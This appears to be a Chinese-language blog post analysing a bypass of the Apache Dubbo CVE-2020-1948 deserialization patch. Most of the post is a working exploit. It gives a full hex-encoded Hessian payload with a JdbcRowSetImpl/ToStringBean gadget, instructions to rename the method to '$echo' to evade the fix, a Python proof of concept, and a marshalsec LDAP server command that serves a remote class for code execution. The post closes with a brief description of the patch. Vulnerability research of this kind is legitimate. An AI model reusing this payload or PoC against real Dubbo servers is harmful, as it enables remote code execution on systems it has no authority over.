CVE-2020-1948 Apache Dubbo 漏洞补丁绕过分析

    技术2022-07-13  58

    0x01 背景

    Apache Dubbo是一个分布式框架,致力于提供高性能透明化的RPC远程服务调用方案以及SOA服务治理方案。Apache Dubbo在实际应用场景中主要负责解决分布式的相关需求。

    6月23日,Apache Dubbo发布安全公告披露Provider默认反序列化导致的远程代码执行漏洞(CVE-2020-1948),攻击者可以发送带有无法识别的服务名或方法名及某些恶意参数负载的RPC请求,当恶意参数被反序列化时将导致代码执行。 6月29日,监测到CVE-2020-1948 Apache Dubbo反序列化漏洞补丁存在缺陷,可以绕过原有补丁并执行任意指令。经测试绕过有效。鉴于该漏洞影响较大,建议用户尽快自查修复。

    2.7.0 <= Apache Dubbo <= 2.7.7 2.6.0 <= Apache Dubbo <= 2.6.7 Apache Dubbo 全部 2.5.x 版本(不再被官方团队支持)

    github有相关修复讨论 https://github.com/apache/dubbo/pull/6374

    0x02 补丁分析

    通过代码对比分析发现该补丁修改部分如下:

    在进行类解析之前判断了解析出来的方法名称是否与默认设置的三个方法名相等,具体逻辑如下

    根据代码逻辑判断,把函数名称替换成三者之中任意一个就可以绕过此次补丁。

    环境搭建可以参照 https://www.anquanke.com/post/id/209251

    0x03 构造Payload

    通过上述分析,可以使用下面两种方法构造此次绕过的payload

    0x1 改造Dubbo数据包

    https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html 漏洞报告中包含测试用的Dubbo数据包,绕过此次漏洞只需修改数据包中的方法名即可,需要简单认识下Dubbo协议格式。

    payload="DABBC20000000000000000000000037805322E302E3230366F72672E6161616161612E61616161612E737072696E672E626F6F742E63656D6F2E636F6E73756D65722E4B656D6F5365727669636505312E302E300474657374124C6A6176612F6C616E672F4F626A6563743B48433027636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E457175616C734265616E92036F626A096265616E436C61737360433029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E92036F626A096265616E436C61737361431D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706CAC06706172616D73096C697374656E657273036D61700A6368617253747265616D0B617363696953747265616D0D756E69636F646553747265616D0C62696E61727953747265616D0F7374724D61746368436F6C756D6E730D694D61746368436F6C756D6E73057265734D4406726F77734D4402727302707304636F6E6E09666574636853697A650866657463684469720969736F6C6174696F6E1065736361706550726F63657373696E6708726561644F6E6C790B636F6E63757272656E63790C6D61784669656C6453697A65076D6178526F77730C717565727954696D656F75740B73686F7744656C657465640A726F77536574547970650A64617461536F757263650355524C07636F6D6D616E64624D136A6176612E7574696C2E486173687461626C655A4E4E4E4E4E4E56106A6176612E7574696C2E566563746F729A03666F6F4E4E4E4E4E4E4E4E4E56919A8F8F8F8F8F8F8F8F8F8F4E4E4E4E4E90CBE8925454CBF090909046CBEC1D6C6461703A2F2F3132372E302E302E313A383038372F4578706C6F69744E4E430F6A6176612E6C616E672E436C61737391046E616D65631D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706C633029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E5191519151915A48047061746830366F72672E6262626368652E61616161612E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E4B656D6F5365727669636509696E7465726661636530366F72672E6170616368652E61616161612E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E61656D6F536572766963650776657273696F6E05312E302E305A"

    将数据decode之后为

    "\xda\xbb\xc2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03x\x052.0.206org.aaaaaa.aaaaa.spring.boot.cemo.consumer.KemoService\x051.0.0\x04test\x12Ljava/lang/Object;HC0'com.rometools.rome.feed.impl.EqualsBean\x92\x03obj\tbeanClass`C0)com.rometools.rome.feed.impl.ToStringBean\x92\x03obj\tbeanClassaC\x1dcom.sun.rowset.JdbcRowSetImpl\xac\x06params\tlisteners\x03map\ncharStream\x0basciiStream\runicodeStream\x0cbinaryStream\x0fstrMatchColumns\riMatchColumns\x05resMD\x06rowsMD\x02rs\x02ps\x04conn\tfetchSize\x08fetchDir\tisolation\x10escapeProcessing\x08readOnly\x0bconcurrency\x0cmaxFieldSize\x07maxRows\x0cqueryTimeout\x0bshowDeleted\nrowSetType\ndataSource\x03URL\x07commandbM\x13java.util.HashtableZNNNNNNV\x10java.util.Vector\x9a\x03fooNNNNNNNNNV\x91\x9a\x8f\x8f\x8f\x8f\x8f\x8f\x8f\x8f\x8f\x8fNNNNN\x90\xcb\xe8\x92TT\xcb\xf0\x90\x90\x90F\xcb\xec\x1dldap://127.0.0.1:8087/ExploitNNC\x0fjava.lang.Class\x91\x04namec\x1dcom.sun.rowset.JdbcRowSetImplc0)com.rometools.rome.feed.impl.ToStringBeanQ\x91Q\x91Q\x91ZH\x04path06org.bbbche.aaaaa.spring.boot.demo.consumer.KemoService\tinterface06org.apache.aaaaa.spring.boot.demo.consumer.aemoService\x07version\x051.0.0Z"

    简单解释一下在每个类名、方法名和字符串之前都是有长度标识的。在payload中的test方法前面多了\x04代表方法长度。因此,我们将\x04替换成\x05,并将test替换为$echo即可实现最后的效果。

    0x2 利用python生成

    首先安装python3和dubbo-py

    python3 -m pip install dubbo-py python3 dubbo3.py

    编写如下poc

    from dubbo.codec.hessian2 import Decoder,new_object from dubbo.client import DubboClient client = DubboClient('127.0.0.1', 12346) JdbcRowSetImpl=new_object( 'com.sun.rowset.JdbcRowSetImpl', dataSource="ldap://127.0.0.1:8087/Exploit", strMatchColumns=["foo"] ) JdbcRowSetImplClass=new_object( 'java.lang.Class', name="com.sun.rowset.JdbcRowSetImpl", ) toStringBean=new_object( 'com.rometools.rome.feed.impl.ToStringBean', beanClass=JdbcRowSetImplClass, obj=JdbcRowSetImpl ) resp = client.send_request_and_return_response( service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService', method_name='$echo', service_version='1.0.0', args=[toStringBean])

    0x3 利用效果

    成功绕过检测,Dubbo解析成功

    开启ldap java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit 8087

    然后在Exploit.class 目录中开启HTTPServer,执行poc成功弹出计算器

    0x04 修补

    此次补丁 DecodeableRpcInvocation增加入参类型校验

    增强了传入的序列化类型校验,暂时增强了安全性。

    Processed: 0.015, SQL: 9